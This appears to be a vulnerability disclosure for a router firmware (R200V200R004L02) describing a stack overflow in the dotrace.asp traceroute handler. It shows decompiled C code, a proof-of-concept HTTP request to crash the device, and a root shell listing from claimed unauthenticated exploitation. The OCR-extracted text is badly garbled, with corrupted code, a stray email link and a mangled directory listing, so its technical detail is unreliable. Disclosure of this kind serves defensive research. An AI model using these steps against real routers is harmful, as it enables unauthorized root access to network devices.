

The figure above shows the latest firmware.

## **Vulnerability details**

```
int fastcall sub 41F0EC(int a1, int a2)
  int v3; // $v0
  int v4; // [sp+20h] [+20h]
  int v5; // [sp+24h] [+24h]
 int v6; // [sp+24h] [+24h]
 int v7; // [sp+28h] [+28h]
  _DWORD *v8; // [sp+2Ch] [+2Ch]
 char v9[64]; // [sp+30h] [+30h] BYREF
 int v10[5]] // [sp+70h] [+70h] BYREF
 char v11[20]; // [sp+84h] [+84h] BYREF
 int v12; // [sp+98h] [+98h] BYREF
 char v13[64]; // [sp+9Ch] [+9Ch] BYREF
 char v14[20]; // [sp+DCh] [+DCh] BYREF
 int v15; // [sp+F0h] [+F0h] BYREF
 int v16; // [sp+F4h] [+F4h] BYREF
 int v17; // [sp+F8h] [+F8h] BYREF
 int v18; // [sp+FCh] [+FCh] BYREF
 int v19[10]; // [sp+100h] [+100h] BYREF
 int v20[6]; // [sp+128h] [+128h] BYREF
 char v21[200]; // [sp+140h] [+140h] BYREF
 memset(v10, 0, sizeof(v10));
 \vee 17 = -1;
 v18 = 0;
 v19[0] = (int)"traceroute";
 v19[1] = (int)"-In";
 v19[2] = (int)"-s";
 v19[3] = (int)v14;
 v19[4] = (int)"-o";
 v19[5] = (int)v11;
 v19[6] = (int)"-k";
 v19[7] = (int)"file";
 v19[8] = (int)v13;
 v19[9] = \emptyset;
 v20[0] = \int)"traceroute";
  v20[1] = int)"-In";
 v20[2] = (int)"-k";
 v20[3] = (int)"file";
 v20[4] = (int)v13;
 \vee 20[5] = 0;
 if ( !*(_DWORD *)(a2 + 164) || !**(_BYTE **)(a2 + 164) )
   return <a href="mailto:sub_487144(a2">" (int)"<TR class=textCell><TD colspan=5>### Trace failed ###</TD></TR>"
 \sqrt{7} = 0;
  v7 = strstr(*(_DWORD *)(a2 + 164), "HOST=");
 v5 = strchr(*(_DWORD *)(a2 + 164), '&');
  if (!v7 | !v5)
    return sub_487144(a2, (int)"<TR class=textCell><TD colspan=5>### Invalid parameter ###</TD><
 strncpy(v9, v7 + 5, v5 - v7 - 5);
v9[v5 - v7 - 5] = 0;
  v7 = 0;
  v7 = strst (*(_DWORD *)(a2 + 164), "INTF=");
  if ( v7 )
    v6 = str hr(v7, '&');
    if (!%)
      raturn sub 487144(a2, (int)"<TR class=textCell><TD colspan=5>### Invalid parameter ###</TD
   v4 = v6  v7 - 5;
   strncpy(v10, v7 + 5, v4);
    *((_BYTE *) \lor 10 + \lor 4) = 0;
  if ( !strcmp(v9, "***STOP***") )
```

The strncpy function copies the data between "INTF=" and "&" into the V10 array. Without limiting the size of the copy, the stack overflows.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware R200V200R004L02.bin
- 2. Attack with the following POC attacks

```
GET /dotrace.asp?
 HTTP/1.1
 Host: 192.168.124.1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101
 Firefox/101.0
 Accept:
 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
 Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
 Accept-Encoding: gzip, deflate
 DNT: 1
 Connection: close
 Referer: http://192.168.124.1/maintain_diag.asp
 Cookie: LOGIN_PSD_REM_FLAG=; PSWMOBILEFLAG=; LOGINCOUNT=; USERLOGINIDFLAG=
 Upgrade-Insecure-Requests: 1
① 页面载入出错
            i) 192.168.124.1
← → G
                        连接超时
                        192.168.124.1 的服务器响应时间过长。
                        • 此站点暂时无法使用或者太过忙碌。请过几分钟后再试。
                        • 如果您无法载入任何网页,请检查您计算机的网络连接状态。
                         • 如果您的计算机或网络受到防火墙或者代理服务器的保护,请确认 Firefox 已被授权访问网络。
```

The above figure shows the POC attack effect

Finally, you can write exp, which can obtain a stable root shell without authorization

```
BusyBox v1.2.0 (2019.11.07-05:21+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
 # ls -l
drwxrwxr-x
               2 1000
                           1000
                                          7748 Nov
                                                        2019 www
              10 *root
                           root
                                             0 Jan
                                                        1970 var
drwxr-xr-x
                           1000
                                            49 Nov
               5 1000
                                                        2019 usr
drwxrwxr-x
               3 1000
                           1000
                                            26 Nov
                                                        2019 uclibc
drwxrwxr-x
                           1000
               1 1000
                                               Nov
                                                        2019 tmp -> var/tmp
.FWXFWXFWX
                                                        1970 sys
                           root
                                             0
                                               Jan
r-xr-xr-x
               1 1000
                           1000
                                               Nov
                                                        2019 sbin -> bin
. CWXCWXCWX
                                             3
                                             0 Jan
                                                        1970 ргос
                           root
drwxr-xr-x
               9 *root
                           root
                                             0 Jan
                                                        1970 mnt
               1 1000
                           1000
                                             3 Nov
                                                        2019 lib32 -> lib
. FWXFWXFWX
               4 1000
                           1000
                                          2452 Nov
                                                        2019 lib
                 1000
                           1000
                                             9 Nov
                                                        2019 init -> sbin/init
L F W X F W X F W X
                 1000
                           1000
                                             3 Nov
                                                        2019 home
drwxrwxr-x
               2 1000
                           1000
                                             3 Nov
                                                        2019 ftproot
drwxrwxr-x
              10 *root
                           root
                                             0 Jan
                                                        1970 etc
drwxr-xr-x
               4 1000
                           1000
                                          2539 Nov
                                                        2019 dev
drwxrwxr-x
                           1000
drwx<u>r</u>-xr-x
               2 1000
                                          1446 Nov
                                                        2019 bin
```